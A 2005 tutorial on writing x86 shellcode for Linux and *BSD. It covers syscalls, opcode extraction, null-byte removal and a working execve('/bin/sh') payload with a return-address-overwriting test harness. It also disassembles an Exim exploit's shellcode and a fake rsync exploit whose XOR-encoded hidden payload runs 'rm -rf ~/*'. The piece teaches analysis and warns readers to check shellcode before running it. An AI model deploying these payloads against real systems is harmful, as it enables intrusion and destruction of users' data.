

Writing shellcode for Linux and *BSD

Author: [Daniele Mazzocchio](#)

Last update: Apr 26, 2005

Latest version: <http://www.kernel-panic.it/security/shellcode/>

Table of Contents

1. Introduction.....	2
2. Linux system calls.....	3
2.1 int 0x80.....	3
2.2 libc.....	4
3. *BSD system calls.....	6
4. Writing the shellcode.....	7
4.1 In assembler.....	7
4.2 In C.....	9
5. Spawning a shell.....	11
6. Shellcode analysis.....	15
6.1 Trust is good.....	15
6.2 ...but control is better.....	15
7. Appendix.....	19
7.1 References.....	19
7.2 Bibliography.....	19

1. Introduction

A shellcode is a sequence of machine language instructions which an already-running program can be forced to execute by altering its execution flow through software vulnerabilities (e.g. stack overflow, heap overflow or format strings). In other words, it is the notorious arbitrary code which can be run on systems affected by specific vulnerabilities. Typically, a shellcode looks like:

```
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
                  "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                  "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

that is a sequence of binary bytes (machine language).

The purpose of this document is to introduce some of the most widespread techniques for writing shellcode for Linux and *BSD systems running on the IA-32 (x86) architecture.

You may wonder why you should learn anything about writing shellcode, since you can find a lot of ready-to-use shellcodes on the internet (after all, that's what "copy and paste" is for). Anyway, I think there are at least two good reasons:

1. first of all, it's always a good idea to analyze someone else's shellcode before executing it, just to know what's going to happen and to avoid bad surprises (we will discuss this [later](#) in detail);
2. besides this, keep in mind that the shellcode may have to run in the most diverse environments (input filtering, string manipulation, IDS...) and, therefore, you should be able to modify it accordingly.

A good knowledge of IA-32 assembly programming is assumed, since we won't dwell much on strictly programming topics, such as the use of registers, memory addressing or calling conventions.

Anyway, the [appendix](#) provides a short bibliography useful to anyone who wants to learn the basics of assembly programming or just to refresh one's memory. Last, a little knowledge of Linux, *BSD and C can be helpful...

2. Linux system calls

Though shellcodes can do almost anything, they're usually aimed at spawning a (possibly privileged) shell on the target machine (that's where the name shellcode comes from...).

The easiest and fastest way to execute complex tasks in assembler is using system calls (or syscalls, as their friends call them). System calls constitute the interface between user mode and kernel mode; in other words, system calls are the means by which userland applications obtain system services from the kernel, such as managing the filesystem, starting new processes, accessing devices, etc.

Syscalls are defined in the `/usr/src/linux/include/asm-i386/unistd.h` file, and each is paired with a number:

```
/usr/src/linux/include/asm-i386/unistd.h
```

```
#ifndef __ASM_I386_UNISTD_H_
#define __ASM_I386_UNISTD_H_

/*
 * This file contains the system call numbers
 */

#define __NR_exit          1
#define __NR_fork         2
#define __NR_read         3
#define __NR_write        4
#define __NR_open         5
#define __NR_close        6
#define __NR_waitpid      7
#define __NR_creat        8
[...]
```

There are normally two ways to execute a syscall:

1. triggering the 0x80 software interrupt;
2. using the libc wrapper functions.

The first method is much more portable, since it is based on system calls defined in the kernel code and, therefore, common to all Linux distributions. The second method, which uses the addresses of the C functions, instead, is hardly portable among different distributions, if not among different releases of the same distribution.

2.1 int 0x80

Let's take a look at the first method. When the CPU receives a 0x80 interrupt, it enters kernel mode and executes the requested function, getting the appropriate handler through the Interrupt Descriptor Table.

The syscall number must be specified in `EAX`, which will eventually contain the return value. The function arguments (up to six), instead, are passed in the `EBX`, `ECX`, `EDX`, `ESI`, `EDI` and `EBP` registers (exactly in this order and using only the necessary registers). If the function requires more than six arguments, you need to put them in a structure and store the pointer to the first argument in `EBX`. *Note*: Linux kernels prior to 2.4 didn't use the `EBP` register for passing arguments and, therefore, could pass only up to 5 arguments using registers.

After the syscall number and the parameters have been stored in the appropriate registers, the 0x80 interrupt is executed: the CPU enters kernel mode, executes the system call and returns the control to the user process.

To recap, to execute a system call, you need to:

1. store the syscall number in EAX;
2. store the syscall arguments in the appropriate registers or:
 - create an in-memory structure containing the syscall parameters,
 - store in EBX a pointer to the first argument;
3. execute the 0x80 software interrupt.

Now let's take a look at the most classic example: the `_exit(2)` syscall. We know from the `/usr/src/linux/include/asm-i386/unistd.h` file (see [above](#)) that it is number 1. The man page tells us that it requires only one parameter (`status`):

```
man 2 _exit
```

```
_EXIT(2)          Linux Programmer's Manual          _EXIT(2)

NAME

    _exit, _Exit - terminate the current process

SYNOPSIS

    #include <unistd.h>

    void _exit(int status)

[...]
```

which we will store in the EBX register. Therefore, the instructions for executing this syscall are:

```
exit.asm
```

```
mov eax, 1      ; Number of the _exit(2) syscall
mov ebx, 0      ; status
int 0x80       ; Interrupt 0x80
```

2.2 libc

As we've stated before, a system call can also be executed by the means of a C function. So let's take a look at how to achieve the same results as [above](#) using a simple C program:

```
exit.c
```

```
main () {
    exit(0);
}
```

We only have to compile it:

```
$ gcc -o exit exit.c
```

and disassemble it with [gdb](#) to make sure it executes the system call and see how it works under the hood:

```
$ gdb ./exit
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".
```

```
(gdb) break main
Breakpoint 1 at 0x804836a
(gdb) run
Starting program: /ramdisk/var/tmp/exit

Breakpoint 1, 0x0804836a in main ()
(gdb) disas main
Dump of assembler code for function main:
0x08048364 <main+0>:  push   %ebp
0x08048365 <main+1>:  mov    %esp,%ebp
0x08048367 <main+3>:  sub   $0x8,%esp
0x0804836a <main+6>:  and   $0xffffffff0,%esp
0x0804836d <main+9>:  mov   $0x0,%eax
0x08048372 <main+14>: sub   %eax,%esp
0x08048374 <main+16>: movl  $0x0, (%esp)
0x0804837b <main+23>: call  0x8048284 <exit>
End of assembler dump.
(gdb)
```

The last instruction in `main()` is the call to the `exit(3)` function. We will now see that `exit(3)`, in turn, calls the `_exit(2)` function which will finally execute the system call, including the `0x80` interrupt:

```
(gdb) disas exit
Dump of assembler code for function exit:
[...]
0x40052aed <exit+141>: mov    0x8(%ebp),%eax
0x40052af0 <exit+144>: mov   %eax,(%esp)
0x40052af3 <exit+147>: call  0x400ced9c <_exit>
[...]
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400ced9c <_exit+0>:  mov    0x4(%esp),%ebx
0x400ceda0 <_exit+4>:  mov    $0xfc,%eax
0x400ceda5 <_exit+9>:  int   $0x80
0x400ceda7 <_exit+11>: mov   $0x1,%eax
0x400cedac <_exit+16>: int   $0x80
0x400cedae <_exit+18>: hlt
0x400cedaf <_exit+19>: nop
End of assembler dump.
(gdb)
```

Therefore, a shellcode using the `libc` to indirectly execute the `_exit(2)` system call looks like:

```
push    dword 0           ; status
call    0x8048284         ; Call the libc exit() function (address obtained
                        ; from the above disassembly)
add     esp, 4           ; Clean up the stack
```

3. *BSD system calls

In the *BSD family, direct system calls (i.e. through the 0x80 interrupt) are slightly different than in Linux, while there's no difference in indirect system calls (i.e. using the libc functions addresses).

The numbers of the syscalls are listed in the `/usr/src/sys/kern/syscalls.master` file, which also contains the prototypes of the syscall functions. Here are the first lines of the file on OpenBSD:

```
/usr/src/sys/kern/syscalls.master
```

```
[...]
1      STD      { void sys_exit(int rval); }
2      STD      { int sys_fork(void); }
3      STD      { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
4      STD      { ssize_t sys_write(int fd, const void *buf, \
                    size_t nbyte); }
5      STD      { int sys_open(const char *path, \
                    int flags, ... mode_t mode); }
6      STD      { int sys_close(int fd); }
7      STD      { pid_t sys_wait4(pid_t pid, int *status, int options, \
                    struct rusage *rusage); }
8      COMPAT_43 { int sys_creat(const char *path, mode_t mode); } ocreat
[...]
```

The first column contains the system call number, the second contains the type of the system call and the third the prototype of the function.

Unlike Linux, *BSD system calls don't use the fastcall convention (i.e. passing arguments in registers), but use the C calling convention instead, pushing arguments on the stack. Arguments are pushed in reverse order (from right to left), so that they are extracted in the correct order by the function. Immediately after the system call returns, the stack needs to be cleaned up by adding to the stack pointer (ESP) a number equal to the size, in bytes, of the arguments (to put it simply, you have to add the number of arguments multiplied by 4).

The role of the EAX register, instead, remains the same: it must contain the syscall number and will eventually contain the return value. Therefore, to recap, executing a system call requires four steps:

1. storing the syscall number in EAX;
2. pushing (in reverse order) the arguments on the stack;
3. executing the 0x80 software interrupt;
4. cleaning up the stack.

The [previous example](#) for Linux, now becomes on *BSD:

```
exit_BSD.asm
```

```
mov  eax, 1      ; Syscall number
push dword 0    ; rval
push eax        ; Push one more dword (see below)
int  0x80       ; 0x80 interrupt
add  esp, 8     ; Clean up the stack
```

As you can see, before executing the software interrupt, you need to push one extra dword on the stack (any dword will do); for an in-depth discussion on this topic, please refer to [[FreeBSD](#)].

4. Writing the shellcode

The next examples refer to Linux, but can be easily adapted to the *BSD world.

So far, we have seen how to execute simple commands using system calls. To obtain our shellcode, now, we only have to get the opcodes corresponding to the assembler instructions. There are typically three methods to get the opcodes:

- writing them manually in hex (with the Intel® documentation at hand!),
- writing the assembly code and then extracting the opcodes,
- writing the C code and disassembling it.

I don't think this is the right place to talk about ModRM and SIB bytes, memory addressing and so on. So we won't delve here into writing hand-crafted machine code; anyway, you can find all the information you want (and probably more) in [\[Intel\]](#). So let's take a look now at the other two methods.

4.1 In assembler

The second method is by far the most efficient and widespread, though we will see that all methods lead to the same results. Our first step will be to use the assembly code from the previous ["exit.asm"](#) example to write a shellcode that, using the `_exit(2)` syscall, will make the application exit cleanly. To get the opcodes, we will first assemble the code with [nasm](#) and then disassemble the freshly built binary with `objdump`:

```
$ nasm -f elf exit.asm
$ objdump -d exit.o

exit.o:          file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:  bb 00 00 00 00      mov     $0x0,%ebx
   5:  b8 01 00 00 00      mov     $0x1,%eax
   a:  cd 80              int     $0x80
$
```

The second column contains the opcodes we need. Therefore, we can write our first shellcode and test it with a very simple C program "borrowed" from [\[Phrack\]](#):

```
sc_exit.c

char shellcode[] = "\xbb\x00\x00\x00\x00"
                  "\xb8\x01\x00\x00\x00"
                  "\xcd\x80";

int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
```

Though very popular, the above lines may not be that straightforward. Anyway, they simply overwrite the return address of the `main()` function with the address of the shellcode, in order to execute the shellcode instructions upon exit from `main()`. After the first declaration, the stack will look like:

reasons):

```
xor ebx, ebx
```

The second instruction, instead, contained all those zeroes because we were using a 32 bit register (EAX), thus making 0x01 become 0x01000000 (bytes are in reverse order because Intel® processors are little endian). Therefore, we can solve this problem simply using an 8 bit register (AL) instead of a 32 bit register:

```
mov al, 1
```

Now our assembly code looks like:

```
xor ebx, ebx
mov al, 1
int 0x80
```

and the shellcode becomes:

```
$ nasm -f exit2.asm
$ objdump -d exit2.o

exit2.o:      file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:   31 db          xor    %ebx,%ebx
   2:   b0 01         mov    $0x1,%al
   4:   cd 80         int   $0x80
$
```

which, as you can see, doesn't contain any null bytes!

4.2 In C

Now let's take a look at the other technique to extract the opcodes: writing the program in C and disassembling it. Let's consider, for instance, the binary built from the previous [exit.c](#) listing and open it with [gdb](#):

```
$ gdb ./exit
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x804836a
(gdb) run
Starting program: /ramdisk/var/tmp/exit

Breakpoint 1, 0x0804836a in main ()
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400ced9c <_exit+0>:  mov    0x4(%esp),%ebx
0x400ceda0 <_exit+4>:  mov    $0xfc,%eax
```

```

0x400ceda5 <_exit+9>:  int    $0x80
0x400ceda7 <_exit+11>: mov    $0x1,%eax
0x400cedac <_exit+16>: int    $0x80
0x400cedae <_exit+18>: hlt
0x400cedaf <_exit+19>: nop
End of assembler dump.
(gdb)

```

As you can see, the `_exit(2)` function actually executes two syscalls: first number `0xfc (252)`, `_exit_group(2)`, and then number `1`, `_exit(2)`. The `_exit_group(2)` syscall is similar to `_exit(2)` but has the purpose to terminate all threads in the current thread group. Anyway, only the second syscall is required by our shellcode. So let's extract the opcodes with [gdb](#):

```

(gdb) x/4bx _exit
0x400ced9c <_exit>:  0x8b  0x5c  0x24  0x04
(gdb) x/7bx _exit+11
0x400ceda7 <_exit+11>: 0xb8  0x01  0x00  0x00  0x00  0xcd  0x80
(gdb)

```

Once again, to make the shellcode work in real-world applications, we will need to remove all those null bytes!

5. Spawning a shell

Now it's time to write a shellcode to do something a little more useful. For instance, we can write a shellcode to spawn a shell (`/bin/sh`) and eventually exit cleanly. The simplest way to spawn a shell is using the `execve(2)` syscall. Let's take a look at its usage from its man page:

```
man 2 execve
```

```
EXECVE(2)                                Linux Programmer's Manual                                EXECVE(2)
```

```
NAME
```

```
    execve - execute program
```

```
SYNOPSIS
```

```
    #include <unistd.h>
```

```
    int execve(const char *filename, char *const argv [], char *const envp[]);
```

```
DESCRIPTION
```

```
    execve() executes the program pointed to by filename.  filename must be
    either a binary executable, or a script starting with a line of the form
    "#! interpreter [arg]".  In the latter case, the interpreter must be a
    valid pathname for an executable which is not itself a script, which will be
    invoked as interpreter [arg] filename.
```

```
    argv is an array of argument strings passed to the new program.  envp is an
    array of strings, conventionally of the form key=value, which are passed
    as environment to the new program.  Both, argv and envp must be terminated by
    a null pointer.  The argument vector and environment can be accessed by
    the called program's main function, when it is defined as int main(int argc,
    char *argv[], char *envp[]).
```

```
[...]
```

To recap, we need to pass it three arguments:

1. a pointer to the name of the program to execute (in our case a pointer to the string `"/bin/sh"`);
2. a pointer to an array of strings to pass as arguments to the program (the first argument must be `argv[0]`, i.e. the name of the program itself). The last element of the array must be a null pointer;
3. a pointer to an array of strings to pass as environment to the program. These strings are usually in the form `"key=value"` and the last element must be a null pointer.

Therefore, spawning a shell from a C program looks like:

```
get_shell.c
```

```
#include <unistd.h>
```

```
int main() {
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;
    execve(args[0], args, NULL);
}
```

In the above example we passed to `execve(2)`:

1. a pointer to the string `"/bin/sh"`;
2. an array of two pointers (the first pointing to the string `"/bin/sh"` and the second null);
3. a null pointer (we don't need any environment variables).

Now let's build it and see it work:

```
$ gcc -o get_shell get_shell.c
$ ./get_shell
sh-2.05b$ exit
$
```

Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:

- the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string `"/bin/sh"` and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to `execve(2)`!
- the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.

To solve the first problem, we will make our shellcode able to put the null bytes in the right places at runtime. To solve the second problem, instead, we will use relative memory addressing.

The "classic" method to retrieve the address of the shellcode is to begin with a `CALL` instruction. The first thing a `CALL` instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the `RET` instruction to insert this address in `EIP` upon return from the called function); then the execution jumps to the address specified by the parameter of the `CALL` instruction. This way we have obtained our starting point: the address of the first byte after the `CALL` is the last value on the stack and we can easily retrieve it with a `POP` instruction! Therefore, the overall structure of the shellcode will be:

```
jmp short mycall      ; Immediately jump to the call instruction

shellcode:
    pop  esi          ; Store the address of "/bin/sh" in ESI
    [...]

mycall:
    call shellcode    ; Push the address of the next byte onto the stack: the next
    db   "/bin/sh"    ; byte is the beginning of the string "/bin/sh"
```

Let's see what it does:

- first of all, the shellcode jumps to the `CALL` instruction;
- the `CALL` pushes onto the stack the address of the string `"/bin/sh"` (not null-terminated yet); `DB` is a directive (not an instruction) that simply defines (i.e. reserves and initializes) a sequence of bytes; now the execution jumps back to the beginning of the shellcode;
- next, the address of the string is popped from the stack and stored in `ESI`. From now on, we will be able to refer to memory addresses with reference to the address of the string.

Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:

1. zero out `EAX` in order to have some null bytes available;
2. terminate the string with a null byte, copying it from `EAX` (we will use the `AL` register);
3. setup the array `ECX` will have to point to; it will be made up of the address of the string and a null pointer. We will accomplish this by writing the address of the string (stored in `ESI`) in the first free bytes right below the string, followed by the null pointer (once again we will use the zeroes in `EAX`);
4. store the number of the syscall (`0x0b`) in `EAX`;

5. store the first argument to `execve(2)` (i.e. the address of the string, saved in ESI) in EBX;
6. store the address of the array in ECX (ESI+8);
7. store the address of the null pointer in EDX (ESI+12);
8. execute the interrupt 0x80.

This is the resulting assembly code:

```
get_shell.asm
jmp short    mycall          ; Immediately jump to the call instruction

shellcode:
  pop        esi             ; Store the address of "/bin/sh" in ESI
  xor        eax, eax        ; Zero out EAX
  mov byte   [esi + 7], al   ; Write the null byte at the end of the string

  mov dword [esi + 8], esi   ; [ESI+8], i.e. the memory immediately below the
string                               ;   "/bin/sh", will contain the array pointed to
by the                               ;   second argument of execve(2); therefore we
store in                             ;   [ESI+8] the address of the string...
  mov dword [esi + 12], eax  ; ...and in [ESI+12] the NULL pointer (EAX is 0)
  mov        al, 0xb         ; Store the number of the syscall (11) in EAX
  lea        ebx, [esi]      ; Copy the address of the string in EBX
  lea        ecx, [esi + 8]  ; Second argument to execve(2)
  lea        edx, [esi + 12] ; Third argument to execve(2) (NULL pointer)
  int        0x80           ; Execute the system call

mycall:
  call       shellcode       ; Push the address of "/bin/sh" onto the stack
  db        "/bin/sh"
```

Now let's extract the opcodes:

```
$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o

get_shell.o:      file format elf32-i386

Disassembly of section .text:

00000000 <shellcode-0x2>:
  0:  eb 18                jmp     1a <mycall>

00000002 <shellcode>:
  2:  5e                   pop    %esi
  3:  31 c0                xor    %eax,%eax
  5:  88 46 07             mov    %al,0x7(%esi)
  8:  89 76 08             mov    %esi,0x8(%esi)
  b:  89 46 0c             mov    %eax,0xc(%esi)
  e:  b0 0b                mov    $0xb,%al
 10:  8d 1e                lea   (%esi),%ebx
 12:  8d 4e 08             lea   0x8(%esi),%ecx
 15:  8d 56 0c             lea   0xc(%esi),%edx
 18:  cd 80                int    $0x80

0000001a <mycall>:
 1a:  e8 e3 ff ff ff      call  2 <shellcode>
 1f:  2f                   das
 20:  62 69 6e            bound %ebp,0x6e(%ecx)
 23:  2f                   das
```

```
24: 73 68          jae    8e <mycall+0x74>
$
```

insert them in the C program:

```
get_shell.c
```

```
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
                  "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                  "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
```

and test it:

```
$ gcc -o get_shell get_shell.c
$ ./get_shell
sh-2.05b$ exit
$
```

6. Shellcode analysis

One last point that deserves attention is the importance of disassembling shellcodes, both to learn new techniques and to be sure about what they do before executing them.

6.1 Trust is good...

For instance, let's take a look at the shellcode from the [exploit](#), made available by Rafael San Miguel Carrasco, exploiting a local buffer overflow vulnerability of the [Exim](#) MTA (releases 4.40 through 4.43).

```
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
```

Let's disassemble it with `ndisasm`; by now, we expect to see something familiar:

```
$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\  
> "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\  
> "\x2f\x73\x68\x58" | ndisasm -u -  
00000000 EB17          jmp short 0x19      ; Initial jump to the CALL  
00000002 5E           pop esi            ; Store the address of the string in  
                                ;   ESI  
00000003 897608      mov [esi+0x8],esi  ; Write the address of the string in  
                                ;   ESI + 8  
00000006 31C0       xor eax,eax        ; Zero out EAX  
00000008 884607      mov [esi+0x7],al   ; Null-terminate the string  
0000000B 89460C      mov [esi+0xc],eax  ; Write the null pointer to ESI + 12  
0000000E B00B       mov al,0xb         ; Number of the execve(2) syscall  
00000010 89F3       mov ebx,esi        ; Store the address of the string in  
                                ;   EBX (first argument)  
00000012 8D4E08      lea ecx,[esi+0x8]  ; Second argument (pointer to the  
                                ;   array)  
00000015 31D2       xor edx,edx        ; Zero out EDX (third argument)  
00000017 CD80       int 0x80           ; Execute the syscall  
00000019 E8E4FFFFFF  call 0x2           ; Push the address of the string and  
                                ;   jump to the second  
                                ;   instruction  
0000001E 2F         das                ; "/bin/shX"  
0000001F 62696E     bound ebp,[ecx+0x6E]  
00000022 2F         das  
00000023 7368      jnc 0x8d  
00000025 58        pop eax  
$
```

6.2 ...but control is better

It's always a good habit to examine a shellcode before executing it. For example, on the 28 May 2004, a prankster [posted](#) on [full-disclosure](#) what he asserted was a public exploit for a [rsync](#) vulnerability. However, the code was weird: after a first, well-commented shellcode, there was a second, less visible shellcode:

```
[...]  
char shellcode2[] =  
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"  
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"  
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"  
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"  
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
```

```
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
"\x7b\x35";
[...]
```

On top of that, after a brief look at the `main()` of the exploit, it was easy to spot that the latter shellcode was executed locally:

```
(long) funct = &shellcode2;
[...];
funct();
```

Therefore, if we want to know what the shellcode actually does, we can do nothing but disassemble it:

```
$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \
> ndisasm -u -
00000000 EB10      jmp short 0x12    ; Jum to the CALL
00000002 5E        pop esi          ; Retrieve the address of byte 0x17
00000003 31C9      xor ecx,ecx      ; Zero out ECX
00000005 B14B      mov cl,0x4b     ; Setup the loop counter (see
                                ; instruction 0x0E)
00000007 B0FF      mov al,0xff     ; Setup the XOR mask
00000009 3006      xor [esi],al    ; XOR byte 0x17 with AL
0000000B FEC8      dec al          ; Decrease the XOR mask
0000000D 46        inc esi         ; Load the address of the next byte
0000000E E2F9      loop 0x9        ; Keep XORing until ECX=0
00000010 EB05      jmp short 0x17  ; Jump to the first XORed instruction
00000012 E8EBFFFFFF call 0x2        ; PUSH the address of the next byte and
                                ; jump to the second instruction
00000017 17        pop ss
[...]
```

As you can see, it's a self-modifying shellcode: instructions from `0x17` to `0x17 + 0x4B` are decoded at run-time by XORing them with the value of `AL` (which is initially `0xFF` and then decreases at each loop iteration). Once decoded, instructions are executed (`jmp short 0x17`). So let's try to understand which instructions will actually be executed. We can easily decode the shellcode using our beloved [python](#):

```
decode.py
```

```
#!/usr/bin/env python

sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \
     "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \
     "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \
     "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \
     "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \
     "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \
     "\x7b\x35"

print "".join([chr((ord(x)^(0xff-i))) for i,x in enumerate(sc[0x17:])])
```

hexdump can already give us a first idea:

```
$ ./decode.py | hexdump -C
00000000 e8 25 00 00 00 2f 62 69 6e 2f 73 68 00 73 68 00 |è%.../bin/sh.sh.|
00000010 2d 63 00 72 6d 20 2d 72 66 20 7e 2f 2a 20 32 3e |-c.rm -rf ~/ * 2>|
00000020 2f 64 65 76 2f 6e 75 6c 6c 00 5d 31 c0 50 8d 5d |/dev/null.]1ÀP.]]
00000030 0e 53 8d 5d 0b 53 8d 5d 08 53 89 eb 89 e1 31 d2 |.S.]S.]S.ë.á1Ó|
00000040 b0 0b cd 80 89 c3 31 c0 40 cd 80 |°.í...Ã1À@í.|
0000004c
```

Mmmh... `"/bin/sh", "sh -c rm -rf ~/* 2>/dev/null"`... This doesn't look good... But let's disassemble it to be sure!

```
$ ./decode.py | ndisasm -u -
00000000 E825000000 call 0x2a
00000005 2F das
00000006 62696E bound ebp,[ecx+0x6e]
00000009 2F das
0000000A 7368 jnc 0x74
0000000C 007368 add [ebx+0x68],dh
0000000F 002D6300726D add [0x6d720063],ch
00000015 202D7266207E and [0x7e206672],ch
0000001B 2F das
0000001C 2A20 sub ah,[eax]
0000001E 323E xor bh,[esi]
00000020 2F das
00000021 6465762F gs jna 0x54
00000025 6E outsb
00000026 756C jnz 0x94
00000028 6C insb
00000029 005D31 add [ebp+0x31],b1
[...]
```

The first instruction is a CALL, immediately followed by the strings displayed by hexdump. The beginning of the shellcode could be re-written this way:

```
E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp
[...]
```

Let's examine the called function, keeping only the opcodes starting at the instruction 0x2a (42):

```
$ ./decode_exp.py | cut -c 43- | ndisasm -u -
00000000 5D pop ebp ; Retrieve the address of the string
; "/bin/sh"
00000001 31C0 xor eax,eax ; Zero out EAX
00000003 50 push eax ; Push the null pointer onto the stack
00000004 8D5D0E lea ebx,[ebp+0xe] ; Store the address of
; "rm -rf ~/* 2>/dev/null" in EBX
00000007 53 push ebx ; and push it on the stack
00000008 8D5D0B lea ebx,[ebp+0xb] ; Store the address of "-c" in EBX
0000000B 53 push ebx ; and push it on the stack
0000000C 8D5D08 lea ebx,[ebp+0x8] ; Store the address of "sh" in EBX
0000000F 53 push ebx ; and push it on the stack
00000010 89EB mov ebx,ebp ; Store the address of "/bin/sh" in
; EBX (first arg to execve())
00000012 89E1 mov ecx,esp ; Store the stack pointer to ECX (ESP
; points to"sh", "-c", "rm...")
00000014 31D2 xor edx,edx ; Third arg to execve()
00000016 B00B mov al,0xb ; Number of the execve() syscall
00000018 CD80 int 0x80 ; Execute the syscall
0000001A 89C3 mov ebx,eax ; Store 0xb in EBX (exit code=11)
0000001C 31C0 xor eax,eax ; Zero out EAX
0000001E 40 inc eax ; EAX=1 (number of the exit() syscall)
0000001F CD80 int 0x80 ; Execute the syscall
```

As you can see, it's an `execve(2)` syscall with the array `"sh", "-c", "rm -rf ~/* 2>/dev/null"` as the second argument. Needless to repeat that you should always analyse a shellcode

before executing it!

7. Appendix

7.1 References

- [\[FreeBSD\]](#) - FreeBSD Assembly Language Tutorial
- [\[Phrack\]](#) - Smashing The Stack For Fun And Profit
- [\[Intel\]](#) - IA-32 Intel® Architecture Software Developer's Manuals

7.2 Bibliography

- [Linux Assembly HOWTO](#)
- [Introduction to UNIX assembly programming](#)
- [Using Assembly Language in Linux](#)
- [PC Assembly Tutorial](#)
- [Designing Shellcode Demystified](#)
- [The Shellcoder's Handbook](#), Koziol et al., Wiley, 2004